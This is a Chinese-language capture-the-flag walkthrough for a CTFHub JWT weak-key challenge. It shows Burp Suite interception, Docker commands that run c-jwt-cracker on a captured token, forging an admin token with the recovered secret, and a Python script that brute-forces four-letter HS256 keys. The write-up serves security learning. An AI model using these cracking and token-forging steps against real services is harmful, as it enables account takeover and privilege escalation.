ctfhub 技能树 ——JSON Web Token 弱密钥
如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag
和 JSON Web Token 无签名一样,我们使用 admin 和 123456 进行登录查看
发现,和上一关的登录界面相似
我们 使用 Burip suite 进行抓包查看
本关和上一关不同的是 本关不能使用 none算法 换句话说我们需要知道签名的密匙,在关卡一开始就提示我们:JWT采用对称加密算法,并且密钥的强度较弱,可以使用爆破获得密匙
在这里我使用的是 c-jwt-cracker(需要在kali上面运行)
构建docker 映像:
docker build . -t jwtcrack
构建docker 映像报错,
可以尝试重启docker:
systemctl restart docker
之后 Run on Docker
docker run -it --rm jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiZ3Vlc3QifQ.c2I0PRiJ2fFnZmbK5ynxZzlI1m1pjPMtPsvbbrfveNA
获得 密匙 eqcv
然后使用JSON Web Tokens - jwt.io(jwt官网)
使用破解的秘钥“eqcv”,进行HS256加密,
记得将 guest 改为 admin
将我们获得的 base64 编码 复制粘贴 到Burip suite
转到 rpterer 点击 GO
获取flag!!!
在本关还可以使用 python 脚本
#!C:\Python3.7
# -*- coding:utf-8 -*-
import jwt
import string
import itertools
def test_HS256():
key = "test"
encoded = jwt.encode({"some":"payload"},key,algorithm="HS256")
print(encoded)
try:
# print(jwt.decode(encoded,"test",algorithms="HS256"))
print(jwt.decode(encoded, "tes", algorithms="HS256"))
except Exception as e:
print(e)
print("error")
exit()
def brute_HS256(encode):
keys=string.ascii_lowercase
# print(keys)
for i in itertools.product(keys,repeat=4):
key = "".join(i)
print("[--]test ",key)
try:
print("[****]key:",key,jwt.decode(encode,key,algorithms="HS256"))
break
except Exception as e:
pass
# print(key)
if __name__ == '__main__':
# test_HS256()
encode="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJwYXNzd29yZCIsInJvbGUiOiJndWVzdCJ9.xCCx-8iRz4HybhQ5iz3zHLniJ5koa7iflMALlaos6ic"
brute_HS256(encode)
# print(jwt.encode({'username': 'admin', 'password': 'password', 'role': 'admin'},"hqpf",algorithm="HS256"))
同样可以获得 密匙